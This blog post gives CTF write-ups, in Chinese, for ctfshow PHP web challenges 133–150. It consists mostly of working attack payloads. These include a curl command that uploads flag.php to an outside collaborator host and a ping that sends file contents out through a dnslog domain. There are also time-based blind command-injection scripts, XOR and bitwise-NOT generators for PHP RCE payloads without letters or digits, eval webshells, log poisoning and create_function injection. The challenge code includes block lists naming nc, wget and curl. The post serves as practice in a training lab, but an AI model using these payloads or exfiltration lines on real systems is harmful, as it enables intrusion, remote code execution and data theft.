&&:需要前面和后面的条件都为true,才会返回true

||:只需要满足其中任意一个就行了

&&比||优先级高

考察php中&&和||运算符应用,对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

?username=admin&code=admin&password=

Web 133

 <?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
  if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
      eval(substr($F,0,6));
  }else{
      die("6个字母都还不够呀?!");
  }
}

只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能 但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖? 那我们来一个简单的测试,

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解

构造?F=$F ;ls / ?F=$F ;tac /f*但是没回显

我利用的在线工具https://app.requestbin.net/
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
?F=`$F`;+curl -X POST -F xx=@flag.php cyqc8gjz1wg0000b0v0ggxmsrjayyyyyb.oast.pro

实际是DNSlog外带

Web 134

 <?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

补充知识点

四个变量的介绍:

1.$_SERVER["QUERY_STRING"]

说明:查询(query)的字符串

2.$_SERVER["REQUEST_URI"]

说明:访问此页面所需的URI
  
3.$_SERVER["SCRIPT_NAME"]

说明:包含当前脚本的路径
  
4.$_SERVER["PHP_SELF"]

说明:当前正在执行脚本的文件名

看到extract()看到就想到是变量覆盖

定义:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,返回成功设置的变量数目。
语法:extract(array,extract_rules,prefix)
//array:必须,规定用于准换的数组
//extract_rules:可选,函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。默认设置EXTR_OVERWRITE,有冲突则覆盖。
//prefix:该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线,可选。

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1那么相对的,传递‘ POST‘,就是对‘ _POST`进行赋值,正好就可以绕过if条件对post的限制。

对_POST进行extract
?_POST[key1]=36d&_POST[key2]=36d
//刚好 key1=36d&key2=36d

Web 135

 <?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

133的加强版,用重定向去读flag

?F=`$F` ;nl flag.php>1.txt(重定向读取)
其他
?F=`$F` ;cp flag.php 1.txt
?F=`$F` ;mv flag.php 1.txt
官方做法:
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

Web 136

 <?php
error_reporting(0);
function check($x){
  if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
      die('too young too simple sometimes naive!');
  }
}
if(isset($_GET['c'])){
  $c=$_GET['c'];
  check($c);
  exec($c);
}
else{
  highlight_file(__FILE__);
}
?>

exec相当于system

试ls,但是一片空白没有东西

学新东西Linux的tee命令

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
?c=ls / | tee 1
?c=tac /f149_15_h3r3 | tee 1

Web 137

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
  function __wakeup(){
      die("private class");
  }
  static function getFlag(){
      echo file_get_contents("flag.php");
  }
}


call_user_func($_POST['ctfshow']);
要调用类内部的方法,静态的
->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法
ctfshow=ctfshow::getflag

Web 138

 <?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
  function __wakeup(){
      die("private class");
  }
  static function getFlag(){
      echo file_get_contents("flag.php");
  }
}

if(strripos($_POST['ctfshow'], ":")>-1){
  die("private function");
}

call_user_func($_POST['ctfshow']);

call_user_func(array($classname, ‘say_hello’)); 这时候会调用 classname中的 say_hello方法

ctfshow[]=ctfshow&ctfshow[]=getFlag

Web 139

 <?php
error_reporting(0);
function check($x){
  if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
      die('too young too simple sometimes naive!');
  }
}
if(isset($_GET['c'])){
  $c=$_GET['c'];
  check($c);
  exec($c);
}
else{
  highlight_file(__FILE__);
}
?>
import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"   # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""         # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
  key = 0   #用于控制内层循环(j)的结束

  #不break的情况下,一行最多几个字符
  for j in range(1, 99):
      if key == 1:
          break
      for n in str:       #n就是一个一个的返回值
          payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
          #print(payload)
          url = "xxxxxx?c=" + payload
          try:
              requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

          # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
          except:
              result = result + n
              print(result)
              break
          if n == '~':   #str的最后一位,“~”不常出现,用作结尾
              key = 1
  # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
  result += " "




import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
  for n in str:
      payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
      # print(payload)
      url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
      try:
          requests.get(url, timeout=(2.5, 2.5))
      except:
          result = result + n
          print(result)
          break
      if n=="~":
          result = result + "花括号"

Web 140

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
  $f1 = (String)$_POST['f1'];
  $f2 = (String)$_POST['f2'];
  if(preg_match('/^[a-z0-9]+$/', $f1)){
      if(preg_match('/^[a-z0-9]+$/', $f2)){
          $code = eval("return $f1($f2());");
          if(intval($code) == 'ctfshow'){
              echo file_get_contents("flag.php");
          }
      }
  }
}

松散比较==

truefalse10-1"1""0""-1"null[]"php"""
truetruefalsetruefalsetruetruefalsetruefalsefalsetruefalse
falsefalsetruefalsetruefalsefalsetruefalsetruetruefalsetrue
1truefalsetruefalsefalsetruefalsefalsefalsefalsefalsefalse
0falsetruefalsetruefalsefalsetruefalsetruefalsefalse*false*
-1truefalsefalsefalsetruefalsefalsetruefalsefalsefalsefalse
"1"truefalsetruefalsefalsetruefalsefalsefalsefalsefalsefalse
"0"falsetruefalsetruefalsefalsetruefalsefalsefalsefalsefalse
"-1"truefalsefalsefalsetruefalsefalsetruefalsefalsefalsefalse
nullfalsetruefalsetruefalsefalsefalsefalsetruetruefalsetrue
[]falsetruefalsefalsefalsefalsefalsefalsetruetruefalsefalse
"php"truefalsefalsefalse*falsefalsefalsefalsefalsefalsetruefalse
""falsetruefalsefalse*falsefalsefalsefalsetruefalsefalsetrue

严格比较===

truefalse10-1"1""0""-1"null[]"php"""
truetruefalsefalsefalsefalsefalsefalsefalsefalsefalsefalsefalse
falsefalsetruefalsefalsefalsefalsefalsefalsefalsefalsefalsefalse
1falsefalsetruefalsefalsefalsefalsefalsefalsefalsefalsefalse
0falsefalsefalsetruefalsefalsefalsefalsefalsefalsefalsefalse
-1falsefalsefalsefalsetruefalsefalsefalsefalsefalsefalsefalse
"1"falsefalsefalsefalsefalsetruefalsefalsefalsefalsefalsefalse
"0"falsefalsefalsefalsefalsefalsetruefalsefalsefalsefalsefalse
"-1"falsefalsefalsefalsefalsefalsefalsetruefalsefalsefalsefalse
nullfalsefalsefalsefalsefalsefalsefalsefalsetruefalsefalsefalse
[]falsefalsefalsefalsefalsefalsefalsefalsefalsetruefalsefalse
"php"falsefalsefalsefalsefalsefalsefalsefalsefalsefalsetruefalse
""falsefalsefalsefalsefalsefalsefalsefalsefalsefalsefalsetrue

0==“字符串” 返回的是TRUE

intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0

分析代码

正则表达式要求 f1 和 f2 只能是数字和小写字母,$f2() 被视为一个函数调用,$f1 作为函数名调用 $f2() 的返回值,最后进行弱比较,由于 ‘ctfshow’ 转换为整数是 0,因此条件实际上是检查 intval($code) 是否为 0

payload:
f1=system&f2=system   # 布尔值 false
f1=md5&f2=phpinfo   # 字母开头的字符串
f1=usleep&f2=usleep   # usleep() 没有返回值,调用 usleep() 将导致 eval() 返回 null。当 null 传递给 intval() 时,返回值是 0。

Web 141

<?php

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = (String)$_GET['v1'];
  $v2 = (String)$_GET['v2'];
  $v3 = (String)$_GET['v3'];

  if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/^\W+$/', $v3)){
          $code = eval("return $v1$v3$v2;");
          echo "$v1$v3$v2 = ".$code;
      }
  }
}

if(preg_match(‘/^\W+$/’, $v3)) 来检查变量 $v3 的值是否完全由非单词字符组成 PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;是可以正常执行的

所以说是无字母数字RCE,利用取反脚本(按位取反)

我自己这边用PHPstrom没法输入,用cmd运行

C:\Users\ASUS\PhpstormProjects\untitled1>php input.php
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
C:\Users\ASUS\PhpstormProjects\untitled1>php input.php
[+]your function: system
[+]your command: tac f*
[*] (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1

Web 142

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
  $v1 = (String)$_GET['v1'];
  if(is_numeric($v1)){
      $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
      sleep($d);
      echo file_get_contents("flag.php");
  }
}

sleep($d); 是 PHP 中的一个函数调用,该函数会使当前脚本暂停执行指定的秒数。这里的 $d 是一个变量,表示需要让脚本等待的秒数

可以看到$d是乘法且v1必须是数字,所以直接传0就OK了,这样就会暂停0秒

v1=0
另外加一句:0和0x0绕过 这里绕过因为是因为当成了8进制和16进制

Web 143

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = (String)$_GET['v1'];
  $v2 = (String)$_GET['v2'];
  $v3 = (String)$_GET['v3'];
  if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
              die('get out hacker!');
      }
      else{
          $code = eval("return $v1$v3$v2;");
          echo "$v1$v3$v2 = ".$code;
      }
  }
}

过滤了无数字字母,过滤了取反同时还过滤了加减等符号

这边借鉴其他师傅的异或脚本

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
  for ($j=0; $j <256 ; $j++) {

      if($i<16){
          $hex_i='0'.dechex($i);
      }
      else{
          $hex_i=dechex($i);
      }
      if($j<16){
          $hex_j='0'.dechex($j);
      }
      else{
          $hex_j=dechex($j);
      }
      $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
      if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
          echo "";
      }

      else{
          $a='%'.$hex_i;
          $b='%'.$hex_j;
          $c=(urldecode($a)^urldecode($b));
          if (ord($c)>=32&ord($c)<=126) {
              $contents=$contents.$c." ".$a." ".$b."\n";
          }
      }

  }
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib
from sys import *
import os
def action(arg):
  s1=""
  s2=""
  for i in arg:
      f=open("xor_rce.txt","r")
      while True:
          t=f.readline()
          if t=="":
              break
          if t[0]==i:
              #print(i)
              s1+=t[2:5]
              s2+=t[6:9]
              break
      f.close()
  output="(\""+s1+"\"^\""+s2+"\")"
  return(output)
 
while True:
  param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  print(param)
GET:
?v1=1&&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

Web 144

 <?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = (String)$_GET['v1'];
  $v2 = (String)$_GET['v2'];
  $v3 = (String)$_GET['v3'];

  if(is_numeric($v1) && check($v3)){
      if(preg_match('/^\W+$/', $v2)){
          $code = eval("return $v1$v3$v2;");
          echo "$v1$v3$v2 = ".$code;
      }
  }
}

function check($str){
  return strlen($str)===1?true:false;
}

改一下传参的位置就OK,可继续用什么的payload,多了一步对v3的检查,检查v3字符串长度是否为1,用运算符即可

?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")&v3=-

Web 144

 <?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = (String)$_GET['v1'];
  $v2 = (String)$_GET['v2'];
  $v3 = (String)$_GET['v3'];
  if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
              die('get out hacker!');
      }
      else{
          $code = eval("return $v1$v3$v2;");
          echo "$v1$v3$v2 = ".$code;
      }
  }
}

^异或被禁了,但是还可以取反,或

—被ban了,可以用位运算符|作命令的拼接

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

也可以用三元运算符(?::)

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):

Web 146

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = (String)$_GET['v1'];
  $v2 = (String)$_GET['v2'];
  $v3 = (String)$_GET['v3'];
  if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
              die('get out hacker!');
      }
      else{
          $code = eval("return $v1$v3$v2;");
          echo "$v1$v3$v2 = ".$code;
      }
  }
}

把:过滤了,就说明三元运算符用不了了呗,但是管|什么事呢

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)||

Web 147

<?php 

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

^:匹配字符串的开头。 $:匹配字符串的结尾,确保整个字符串符合规则

/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v] /D如果使用$限制结尾字符,则不允许结尾有换行

create_function() 是 PHP 中一个曾经用于创建匿名函数的函数,不过该函数在 PHP 7.2.0 版本中已被弃用,并在 PHP 8.0.0 版本中被移除

string create_function   ( string $args   , string $code   )

string $args 参数部分
string $code 方法代码部分

举例:

create_function('$name','echo $fname."sss"')
类似于:

function fT($name) {
echo $fname."sss";
}

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

所以用/就可以绕过匹配

GET:?show=}system('tac f*');//
POST:ctf=%5ccreate_function(%5c就是`/`)

解释一下为什么要用},是因为利用create_function函数时,会生成匿名函数,所以要用}闭合前面的},所以才能执行命令,就是存在命令注入漏洞,而后面的//就是用来闭合匿名函数后面的}的,以此可以完美执行我们想要执行的代码命令

Web 148

 <?php

include 'flag.php';
if(isset($_GET['code'])){
  $code=$_GET['code'];
  if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
      die("error");
  }
  @eval($code);
}
else{
  highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
  echo file_get_contents("flag.php");
}

没过滤异或(使用其他师傅的脚本)

生成可用字典

<?php

//或
function orRce($par1, $par2){
  $result = (urldecode($par1)|urldecode($par2));
  return $result;
}

//异或
function xorRce($par1, $par2){
  $result = (urldecode($par1)^urldecode($par2));
  return $result;
}

//取反
function negateRce(){
  fwrite(STDOUT,'[+]your function: ');

  $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

  fwrite(STDOUT,'[+]your command: ');

  $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

  echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
  if ($mode!=3){
      $myfile = fopen("rce.txt", "w");
      $contents = "";

      for ($i=0;$i<256;$i++){
          for ($j=0;$j<256;$j++){
              if ($i<16){
                  $hex_i = '0'.dechex($i);
              }else{
                  $hex_i = dechex($i);
              }
              if ($j<16){
                  $hex_j = '0'.dechex($j);
              }else{
                  $hex_j = dechex($j);
              }
              if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                  echo "";
              }else{
                  $par1 = "%".$hex_i;
                  $par2 = '%'.$hex_j;
                  $res = '';
                  if ($mode==1){
                      $res = orRce($par1, $par2);
                  }else if ($mode==2){
                      $res = xorRce($par1, $par2);
                  }

                  if (ord($res)>=32&ord($res)<=126){
                      $contents=$contents.$res." ".$par1." ".$par2."\n";
                  }
              }
          }

      }
      fwrite($myfile,$contents);
      fclose($myfile);
  }else{
      negateRce();
  }
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则

生成payload

# -*- coding: utf-8 -*-

def action(arg):
  s1 = ""
  s2 = ""
  with open("rce.txt", "r") as f:
      lines = f.readlines()
      for i in arg:
          for line in lines:
              if line.startswith(i):
                  s1 += line[2:5]
                  s2 += line[6:9]
                  break
  output = "(\"" + s1 + "\"^\"" + s2 + "\")"
  return output

while True:
  function_input = input("\n[+] 请输入你的函数:")
  command_input = input("[+] 请输入你的命令:")
  param = action(function_input) + action(command_input)
  print("\n[*] 构造的Payload:", param)
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET

异或很重要

Web 149

<?php

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
  if(is_file($file)){
      if ($file !== "index.php") {
          unlink($file);
      }
  }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
  if(is_file($file)){
      if ($file !== "index.php") {
          unlink($file);
      }
  }
}

unlink() 函数的主要作用是删除文件,它的本质是对底层系统调用的封装,允许你在 PHP 脚本中直接删除文件系统中的文件

is_file() 函数用于判断指定的路径是否指向一个存在的普通文件。普通文件指的是那些不是目录、符号链接等其他类型文件系统对象的文件

file_put_contents() 函数用于把一个字符串写入文件中

scandir('./');:扫描当前目录,并返回目录中的文件和文件夹名的数组

foreach($files as $file) { ... }:遍历数组中的每一个文件

分析代码就是只能存在index.php这个文件,其他的都会被删除,那么忘index.php中写入一句话木马就行

?ctf=php://filter/write=convert.base64-decode/resource=index.php
show=PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+
后面发现可以更简单
?ctf=index.php
show=<?php eval($_POST[a]);?>

条件竞争:

?ctf=1.php
show=<?php system('tac /c*');?>
一直写入就行

Web 150

<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
  private $username;
  private $password;
  private $vip;
  private $secret;

  function __construct(){
      $this->vip = 0;
      $this->secret = $flag;
  }

  function __destruct(){
      echo $this->secret;
  }

  public function isVIP(){
      return $this->vip?TRUE:FALSE;
      }
  }

  function __autoload($class){
      if(isset($class)){
          $class();
  }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
  die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
  echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
  include($ctf);
}

看见extract($_GET)就想到变量覆盖,用它来导入GET中的变量,必须满足VIP为true,即?isVIP=3

strrpos($ctf,":")===FALSE要求不能有:

利用日志文件注入

?isVIP=3
<?php eval($_POST[1]);?>
ctf=/var/log/nginx/access.log&1=system('tac f*');

Web 150plus

 <?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
  private $username;
  private $password;
  private $vip;
  private $secret;

  function __construct(){
      $this->vip = 0;
      $this->secret = $flag;
  }

  function __destruct(){
      echo $this->secret;
  }

  public function isVIP(){
      return $this->vip?TRUE:FALSE;
      }
  }

  function __autoload($class){
      if(isset($class)){
          $class();
  }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
  die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
  echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
  include($ctf);
}

把log也给禁了,不愧是plus,日志包含显然行不通了

extract($_GET);在GET中取出所有键值对(传__CTFSHOW__的话就会使得ta变为一个类)
变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会检查 __CTFSHOW__ 是否是一个已定义的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,所以 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数

?..CTFSHOW..=phpinfo

2025/2/16

_sun_

评论

  1. slat_fish
    Android Chrome
    2 周前
    2025-3-03 15:06:37

    太流弊了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇